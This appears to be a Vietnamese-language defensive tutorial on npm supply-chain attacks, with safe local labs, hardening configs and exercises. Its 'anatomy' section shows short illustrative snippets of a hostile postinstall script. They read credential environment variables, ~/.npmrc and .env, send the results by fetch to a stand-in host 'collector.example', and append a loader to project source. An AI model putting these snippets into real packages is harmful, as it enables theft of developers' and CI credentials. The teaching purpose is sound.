Web Security for Frontend Devs · Part 17 — Supply-Chain Attacks via npm install
Bonus track: how a single npm install can run attacker code on your machine — lifecycle scripts, transitive deps, git prepare, bin shadowing — the signals to audit, and a full layered defense. With a live install simulator and exercises.
Phần 17 — Nhánh bonus (chuỗi cung ứng) trong series Web Security for Frontend Devs. Trước: Tiếp:
Mọi phần tới giờ tấn công code chạy trong trình duyệt. Phần bonus này lùi về sớm hơn một bước trong ngày của bạn — khoảnh khắc bạn gõ npm install. Sự thật khó chịu: cài một dependency không phải “tải thư viện về”, mà là cho người publish quyền chạy code trên máy bạn hoặc CI của bạn.
Đây là bài viết phòng thủ — cơ chế, dấu hiệu nhận biết, và cách vá nhiều lớp. Không payload, không công thức mã độc.
Mô hình tư duy cốt lõi
Attacker publishes package A (or hijacks an existing one)
↓
You run npm install A
↓
npm resolves A + its ENTIRE transitive dependency tree
↓
npm may run lifecycle scripts (preinstall / install / postinstall / prepare)
↓
that code executes with YOUR user (or CI) privileges — before you import anything
Nguy hiểm nằm ở khoảng cách giữa ý định và thực tế: bạn nghĩ “tôi đang thêm dependency”; thực tế là “tôi đang chạy code tùy ý do người lạ viết, cộng tất cả mọi người trong cây phụ thuộc của họ”.
Quy tắc nhanh:
npm installlà thực thi code, không phải tải về. Hãy cẩn trọng nhưcurl … | bash.
Bề mặt 1 — lifecycle scripts
Đường phổ biến nhất. package.json của một package có thể khai báo script mà npm chạy tự động khi cài:
{
"scripts": {
"preinstall": "node setup.js",
"install": "node-gyp rebuild",
"postinstall": "node fetch-binary.js",
"prepare": "npm run build"
}
}
Chúng tồn tại vì lý do chính đáng — biên dịch native addon bằng node-gyp, tải binary theo nền tảng, sinh file. Đó chính là lý do mã độc trà trộn: cùng một hook tải binary có thể thay vào đó đọc môi trường và gửi đi.
Một postinstall thù địch sẽ nhắm tới:
- Biến môi trường.
- File trong repo.
- Mạng ra ngoài — tuồn dữ liệu trên.
- Cố thủ — thêm mục khởi động hoặc sửa file project.
User chỉ nghĩ “cài thư viện”; thực tế package được “chạy code”.
Giải phẫu postinstall độc — bốn nước đi
Để nhận ra script install thù địch, bạn cần biết nó trông như thế nào. Các đoạn dưới đã làm cùn và mang tính minh họa — chỉ cho thấy hình dạng mỗi nước đi và, quan trọng hơn, dấu hiệu lộ tẩy khi review. Trình mô phỏng phía sau cho bạn kích hoạt cả bốn một cách an toàn và xem chúng “thu” được gì.
Nước 1 — đọc biến môi trường
// postinstall.js — runs automatically; "loot" is whatever your shell/CI exported
const loot = {
npm: process.env.NPM_TOKEN,
aws: process.env.AWS_SECRET_ACCESS_KEY,
gh: process.env.GITHUB_TOKEN,
};
Dấu hiệu: Script install đọc process.env cho các tên giống credential thì không có lý do gì khi build. Phát hiện: quét mã script; giữ secret ngoài môi trường cài để không có gì đọc được.
Nước 2 — đọc file trong repo / home
const fs = require("node:fs");
// reads the developer's auth token and project secrets
const npmrc = fs.readFileSync(`${process.env.HOME}/.npmrc`, "utf8");
const dotenv = fs.readFileSync(".env", "utf8"); // CWD = the project installing it
Dấu hiệu: Đọc các file ~/.npmrc, .env, id_rsa, .git/config từ hook install. Phát hiện: cài trong sandbox không có các file đó; --ignore-scripts chặn hẳn hook.
Nước 3 — gọi request ra ngoài (tuồn dữ liệu)
// ship the collected loot off-box
fetch("https://collector.example/x", {
method: "POST",
body: JSON.stringify(loot),
});
Dấu hiệu: Bất kỳ lời gọi mạng nào từ script install. Phát hiện: chặn mạng ra ngoài khi cài — kể cả script chạy, exfil vẫn thất bại.
Nước 4 — sửa file trong project (cố thủ)
const fs = require("node:fs");
// quietly append a loader to a file your app already runs
fs.appendFileSync("src/index.js", '\nrequire("./.cache/loader.js");');
Dấu hiệu: Hook install ghi vào cây nguồn của bạn, không chỉ node_modules. Phát hiện: git status/diff sau cài phải cho thấy nguồn không đổi gì.
Sợi chỉ chung: một bước build biên dịch hoặc tải artifact của chính nó. Đọc secret của bạn, chạm nguồn của bạn, hay gọi mạng đều ngoài phạm vi của một build — sự lệch pha đó chính là điểm lộ.
Bề mặt 2 — dependency gián tiếp
Bạn đã rà direct dependency. Bạn có rà dependency của nó không? Và của những cái đó?
my-app
└─ ui-kit ← the one you installed
└─ color-utils
└─ is-even-ish ← hijacked; ships a preinstall you never asked for
Bạn chạy npm install ui-kit, nhưng một util bé xíu ba tầng bên dưới vẫn mang install script. Đây là lý do cây phụ thuộc mới là biên tin cậy thực sự: bạn không chỉ tin package mình gọi tên — bạn tin mọi thứ bên dưới nó, theo cấp. Một app điển hình có hàng trăm tới hàng nghìn package như vậy.
Đây là lớp đứng sau các sự cố thật như event-stream (2018) và ua-parser-js (2021).
Bề mặt 3 — prepare với git dependency
Nếu dependency trỏ tới Git URL thay vì registry, npm chạy prepare để build từ nguồn khi cài:
{
"dependencies": {
"internal-sdk": "github:acme/internal-sdk#main"
}
}
prepare hợp pháp cho bước TypeScript/build. Nhưng git dependency bỏ qua kiểm soát phía registry và bám một ref di động như #main. Nếu repo bị chiếm — hoặc nhánh bị force-push — prepare chạy code kẻ tấn công ở lần cài kế tiếp. Hãy ghim commit SHA, không phải nhánh, và ưu tiên registry.
Bề mặt 4 — bin shadowing & typosquat
Một package có thể expose binary dòng lệnh:
{
"bin": { "cross-env": "./cli.js" }
}
Khi cài, npm link nó vào node_modules/.bin. Việc này không nhất thiết chạy lúc cài — nó chạy về sau, khi một script gọi command đó:
npm run build # → calls "cross-env" from node_modules/.bin
npm test
npx some-tool
Hai cái bẫy: Kẻ tấn công typosquat tên quen, hoặc ship bin có tên shadow tool mà script bạn đã gọi. Quan trọng: --ignore-scripts không cứu được ở đây — không có install script; payload chờ trong binary.
Bề mặt 5 — entrypoint lúc chạy
Kể cả chặn mọi install script, package vẫn chạy code khi bạn thật sự dùng nó:
{ "main": "index.js", "exports": { ".": "./dist/index.js" } }
require("package-a"); // runs package-a's top-level code now
Đây là rủi ro lúc chạy, không phải lúc cài — --ignore-scripts vô can. Phòng thủ chuyển sang tin cậy, review, và least privilege lúc chạy.
Thử ngay — trình mô phỏng npm install
Trình mô phỏng dưới cho bạn chọn kịch bản, đọc manifest và cây đã resolve, rồi chạy install mô phỏng và xem lifecycle script nào kích hoạt. Panel “What the script touched” hiện cả bốn nước đi ở trên — biến môi trường (giả), file đọc, request ra ngoài, và sửa nguồn mà hook độc sẽ làm. Bật --ignore-scripts để vô hiệu đường phổ biến và thấy panel im lặng, đọc audit tĩnh, và dùng scorecard. Không có gì thực thi — đây là mô hình dạy học.
Mở demo đầy đủ:
Lab thực hành — tái hiện từng bề mặt an toàn
Simulator là mô hình; giờ chứng minh cơ chế trên máy của chính bạn. Mỗi lab là npm thật — nhưng hành động “độc” được thay bằng một quan sát vô hại: ghi thêm một dòng vào log cục bộ. Bạn thấy code chạy, rồi xác nhận biện pháp giảm rủi ro thực sự chặn được.
An toàn: Chạy trong thư mục dùng-rồi-bỏ (lý tưởng là container/VM). Không gì ở đây đọc secret hay gọi mạng — nhưng hãy quen coi lab install là không tin cậy. Đường dẫn dùng
/tmpcủa macOS/Linux; Windows thay bằng thư mục tạm.
Chuẩn bị chung
# a clean sandbox + a consumer app that will install our local packages
mkdir -p /tmp/npm-lab && cd /tmp/npm-lab
mkdir -p app && (cd app && npm init -y >/dev/null)
Lab 1 — lifecycle script chạy khi cài
Tạo package có postinstall đọc env và ghi proof — chính Nước 1 & 4, đã làm cùn:
mkdir -p /tmp/npm-lab/demo-pkg && cd /tmp/npm-lab/demo-pkg
cat > postinstall.js <<'EOF'
const fs = require("node:fs");
// harmless stand-in for exfiltration: just record what the script CAN reach
fs.appendFileSync("/tmp/npm-lab/proof.log",
`postinstall ran — could read HOME=${process.env.HOME}\n`);
EOF
cat > package.json <<'EOF'
{ "name": "demo-pkg", "version": "1.0.0",
"scripts": { "postinstall": "node postinstall.js" } }
EOF
Chạy và quan sát:
cd /tmp/npm-lab/app
rm -f /tmp/npm-lab/proof.log
npm install ../demo-pkg
cat /tmp/npm-lab/proof.log # → "postinstall ran — could read HOME=/Users/you"
Giờ kiểm chứng biện pháp:
rm -f /tmp/npm-lab/proof.log
npm install ../demo-pkg --ignore-scripts
cat /tmp/npm-lab/proof.log 2>/dev/null || echo "no proof.log — the script was skipped ✅"
Đã chứng minh: Hook install chạy tự động và đọc được môi trường; --ignore-scripts chặn nó.
Lab 2 — dependency gián tiếp cũng chạy
Bọc demo-pkg để bạn chỉ cài wrapper — nhưng script của lá vẫn nổ:
mkdir -p /tmp/npm-lab/wrapper-pkg && cd /tmp/npm-lab/wrapper-pkg
cat > package.json <<'EOF'
{ "name": "wrapper-pkg", "version": "1.0.0",
"dependencies": { "demo-pkg": "file:../demo-pkg" } }
EOF
cd /tmp/npm-lab/app
rm -f /tmp/npm-lab/proof.log
npm install ../wrapper-pkg
cat /tmp/npm-lab/proof.log # demo-pkg's postinstall ran — you never named it
Đã chứng minh: Bạn tin cả cây, không chỉ direct dependency. Hãy audit lockfile, nơi lá xuất hiện.
Lab 3 — prepare của git dependency
Dep lấy từ Git build từ nguồn qua prepare:
mkdir -p /tmp/npm-lab/git-dep && cd /tmp/npm-lab/git-dep
git init -q
cat > package.json <<'EOF'
{ "name": "git-dep", "version": "1.0.0",
"scripts": { "prepare": "node -e \"require('fs').appendFileSync('/tmp/npm-lab/proof.log','prepare ran building git dep\\n')\"" } }
EOF
git add -A && git commit -qm init
cd /tmp/npm-lab/app
rm -f /tmp/npm-lab/proof.log
npm install "git+file:///tmp/npm-lab/git-dep"
cat /tmp/npm-lab/proof.log # prepare ran — the build-from-source path
Đã chứng minh: git dep chạy prepare và bỏ qua kiểm tra phía registry. Ưu tiên registry; ghim commit SHA, không phải nhánh.
Lab 4 — bin shadowing sống sót --ignore-scripts
Payload ở đây nằm trong binary, không phải hook install:
mkdir -p /tmp/npm-lab/bin-pkg && cd /tmp/npm-lab/bin-pkg
cat > cli.js <<'EOF'
#!/usr/bin/env node
console.log("bin ran — this is where a shadowed command executes");
EOF
cat > package.json <<'EOF'
{ "name": "bin-pkg", "version": "1.0.0", "bin": { "mytool": "cli.js" } }
EOF
cd /tmp/npm-lab/app
npm install ../bin-pkg --ignore-scripts # note: scripts OFF
npx mytool # …yet the bin still runs
Đã chứng minh: --ignore-scripts không bao phủ bin — nó nổ khi một lệnh build/test/npx gọi tên. Xác minh đúng tên package; audit mục bin.
Lab 5 — entrypoint runtime chạy khi require
mkdir -p /tmp/npm-lab/runtime-pkg && cd /tmp/npm-lab/runtime-pkg
cat > index.js <<'EOF'
console.log("runtime entrypoint ran on require()");
module.exports = {};
EOF
cat > package.json <<'EOF'
{ "name": "runtime-pkg", "version": "1.0.0", "main": "index.js" }
EOF
cd /tmp/npm-lab/app
npm install ../runtime-pkg --ignore-scripts
node -e "require('runtime-pkg')" # top-level code runs — install flags are irrelevant
Đã chứng minh: Khi bạn dùng package, code của nó chạy bất kể cờ install. Phòng thủ chuyển sang tối giản dependency, review, least privilege lúc chạy.
Dọn dẹp
rm -rf /tmp/npm-lab
Mẹo: Chạy lại Lab 1–3 với
.npmrcchứaignore-scripts=trueđể cảm nhận mặc định toàn project, và thêm--foreground-scriptsđể thấy output script npm thường ẩn.
Cần audit gì trước khi cài
Đọc manifest và lockfile, không chỉ README:
package.json
├─ scripts: preinstall / install / postinstall / prepare ← runs on install
├─ bin ← linked command names
├─ main / exports ← runs on import
├─ dependencies pointing at git/http URLs ← prepare + no registry checks
└─ floating ranges (^, ~, *, latest) ← silent version drift
Ngoài manifest, cân nhắc tín hiệu của package:
- Script install gọi shell,
curl/wget, hoặc chạy file lạ. - Phiên bản mới đột ngột, nhất là major bump ngay sau khi đổi maintainer.
repositorylệch/thiếu, lượt tải bất thường, account mới tinh.- Tên lệch một phím so với package nổi tiếng (typosquat).
Công cụ tự động hóa: npm audit, npm audit signatures, provenance, và scanner bên thứ ba như Socket.
Phòng thủ — playbook nhiều lớp
Không công tắc nào đủ một mình; hãy kết hợp.
Phòng thủ 1 — tắt install script mặc định
Control đòn bẩy cao nhất:
# one-off
npm install --ignore-scripts
# project / CI default — commit this .npmrc
echo "ignore-scripts=true" >> .npmrc
Chặn preinstall/install/postinstall/prepare. Đánh đổi: package thật sự cần build (native addon) sẽ không build. Cách xử lý: tắt toàn cục, rồi allow-list vài package cần và build tường minh.
Phòng thủ 2 — lockfile + npm ci, ghim version
npm ci # installs EXACTLY the lockfile, no re-resolution
npm ci không trôi khỏi package-lock.json, nên version độc mới publish không lọt vào cho tới khi bạn cố ý cập nhật. Ghim version chính xác, commit lockfile, và review diff lockfile mỗi PR.
Phòng thủ 3 — cài trong sandbox quyền thấp
Chạy install ở nơi không có gì đáng trộm và không gọi ra ngoài được:
- Container/VM không mount secret production.
- Bước CI cài trước khi inject secret.
- Chặn mạng ra ngoài khi cài để exfil thất bại kể cả khi script chạy.
Phòng thủ 4 — không để secret trong môi trường cài
Chiến lợi phẩm giá trị nhất là NPM_TOKEN, key cloud, CI token nằm trong env. Thu hẹp phạm vi token, đừng export khi npm ci, ưu tiên credential OIDC ngắn hạn.
Phòng thủ 5 — xác minh integrity & provenance
npm audit signatures # verify registry signatures on installed packages
npm audit # known-vulnerability check
Ưu tiên package publish kèm provenance. Thêm scanner trong CI để cờ install script rủi ro và thay đổi hành vi.
Phòng thủ 6 — least privilege lúc chạy
--ignore-scripts không giúp gì cho bề mặt runtime và bin. Giảm thiệt hại: tối giản dependency, review thứ bạn import, chạy service least privilege, và xác minh đúng tên package.
npm vs pnpm vs Yarn — ai chạy install script mặc định
Lựa chọn package manager giờ thay đổi mặc định mức độ thiệt hại. Hệ sinh thái dịch mạnh sang “tắt script mặc định” sau làn sóng worm 2025:
- chạy lifecycle script của dependency mặc định. Tắt bằng
ignore-scripts=true. - không chạy script dependency mặc định. Allow-list cái cần trong
pnpm.onlyBuiltDependencieshoặcpnpm approve-builds:
{ "pnpm": { "onlyBuiltDependencies": ["better-sqlite3", "esbuild"] } }
- khai báo, bản gần đây mặc định
enableScripts: false. Đặt rõ trong.yarnrc.yml, rồi bật lại từng package:
# .yarnrc.yml
enableScripts: false
enableImmutableInstalls: true # don't let install mutate the lockfile
{ "dependenciesMeta": { "esbuild": { "built": true } } }
- chạy script mặc định; chỉ có
--ignore-scriptstoàn cục.
Lưu ý: Manager “tắt mặc định” chỉ bảo vệ bề mặt hook install.
binshadow và code runtime vẫn áp dụng — git dep vẫn có thể chạyprepare/pack.
Một cấu hình cứng hóa bạn copy được
Nền tảng thực dụng cho project npm. Commit .npmrc này ở gốc repo:
# .npmrc — committed, applies to everyone and CI
ignore-scripts=true # no dependency lifecycle scripts on install
save-exact=true # added deps are pinned, not ^ranged
fund=false
audit=true
Với script tắt toàn cục, build vài native dep tin cậy tường minh:
npm ci # exact lockfile install, scripts already off via .npmrc
npm rebuild better-sqlite3 # allow-list: build only what you trust
npm run build
Job GitHub Actions cứng hóa tối thiểu:
name: ci
on: [push, pull_request]
jobs:
build:
runs-on: ubuntu-latest
# NOTE: no secrets exposed in this job — install runs with nothing to steal
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: 20
cache: npm
- run: npm ci --ignore-scripts # locked + scripts off (belt and suspenders)
- run: npm rebuild better-sqlite3 # explicit allow-list for native builds
- run: npm audit signatures # verify registry signatures / provenance
- run: npm run build
- run: npm test
Giữ credential deploy ở job/environment riêng, chạy sau install và test.
Sự cố thật — và dấu hiệu lẽ ra bắt được
Đây là các ca kinh điển đứng sau các bề mặt trên:
- một package nổi tiếng được giao cho maintainer mới, người này thêm một transitive dependency độc nhắm vào một build ví bitcoin. Dấu hiệu: dependency mới lạ từ maintainer mới — thấy trong diff lockfile.
- tài khoản npm của maintainer bị chiếm, ba phiên bản kèm install script chạy miner và trộm mật khẩu. Dấu hiệu: bump version bất thường + install script chạm binary/mạng — chỉ
ignore-scriptsđã chặn được payload. - maintainer cố tình ship “protestware” phá hoại theo vị trí địa lý, bị kéo vào gián tiếp bởi project lớn. Dấu hiệu: bản vá ghi filesystem + range thả nổi tự nâng cấp — ghim + review lockfile chặn.
- chiến dịch tự nhân bản trên hàng trăm package npm:
postinstalltrộm token rồi publish phiên bản nhiễm của chính package nạn nhân. Đây là lý do pnpm và Yarn chuyển sang mặc định tắt script. Dấu hiệu:postinstallđọc token + gọi mạng — phá bởi không secret khi cài +ignore-scripts+ token thu hẹp/ngắn hạn.
Mẫu chung cả bốn: xâm nhập qua đổi maintainer/account hoặc transitive dep, thực thi qua install script, tệ hơn vì version thả nổi. Mọi phòng thủ trong bài nhắm vào một mắt xích đó.
Checklist phòng tránh
- Mặc định
ignore-scripts=truetrong.npmrcđã commit. - Dùng
npm ci+ lockfile commit + version ghim; review diff mỗi PR. - Cài trong sandbox không secret, chặn egress.
- Ưu tiên registry; nếu dùng git, ghim commit SHA.
- Chạy
npm audit+ signatures; ưu tiên provenance; thêm scanner. - Xác minh đúng tên; audit
bin,scripts, entrypoint, git URL.
Bài tập / Exercises
1. Đồng đội nói “đã bật ignore-scripts=true nên an toàn”. Nêu hai bề mặt vẫn sống sót và vì sao.
Lời giải
bin shadowing / typosquat — không có install script; payload ở binary chạy khi command sau gọi tên đó. Entrypoint runtime — code chạy khi import/require, bất kể install script. --ignore-scripts chỉ chặn lifecycle hook.
2. Trong simulator, chạy kịch bản transitive có và không có --ignore-scripts. Giải thích vì sao chỉ rà direct dependencies sẽ bỏ sót, và nên review artifact nào thay thế.
Lời giải
Package độc nằm ba tầng sâu — không hề xuất hiện trong package.json, chỉ trong cây đã resolve. Hãy review diff package-lock.json và chạy scanner soi cả cây. Với --ignore-scripts, preinstall bị bỏ qua — nhưng vẫn ship code runtime của nó nếu dùng package cha.
3. CI chạy npm install cùng job giữ deploy token. Mô tả đường exfil một postinstall cho phép, và hai thay đổi độc lập giảm thiệt hại.
Lời giải
postinstall đọc process.env rồi gửi token đi — chiếm trọn account cloud, không kích hoạt review nào. Giảm độc lập: (a) tắt script; (b) cài trước khi inject secret; (c) chặn egress; (d) OIDC ngắn hạn. Chọn hai bất kỳ là đúng.
Nâng cao:Trong scorecard, tìm tập control nhỏ nhất đưa rủi ro về LOW, rồi lập luận control nào bạn thêm đầu tiên cho project legacy đang build native module.
Điểm chính
npm installlà thực thi code — người publish và cả cây phụ thuộc chạy được code.- Bề mặt: lifecycle scripts, transitive, git
prepare,bin/typosquat, entrypoint runtime. --ignore-scriptschỉ chặn lifecycle hook — không cứubinshadow hay code runtime.- Phòng thủ nhiều lớp.
- Biên tin cậy là cả cây phụ thuộc, rà bằng diff lockfile.
Nguồn
- npm docs — scripts / lifecycle hooks and
config(ignore-scripts). - npm docs — generating provenance &
npm audit signatures. - pnpm — v10 release notes (scripts off by default) and
pnpm approve-builds. - Yarn —
.yarnrc.ymlsettings (enableScripts). - OpenSSF — npm best practices / supply-chain guidance.
- Public post-mortems:
event-stream(2018),eslint-scope(2018),ua-parser-js(2021),node-ipc/peacenotwar(2022), and the self-replicating “Shai-Hulud” npm worm (2025) — widely documented incidents illustrating the transitive, maintainer-takeover, and worm classes above.
Series
Đây là phần bonus đầu trên nền mười phần lõi và nhánh nâng cao (Phần 11–16); tiếp tục sang Phần 18 — Reverse Tabnabbing. Sợi chỉ xuyên suốt từ Phần 10 đúng thêm một lần nữa, lần này ở tầng build: đừng tin thứ gì bạn không tự tạo ra — kể cả code bạn cài — cho tới khi được verify trên bề mặt bạn sở hữu.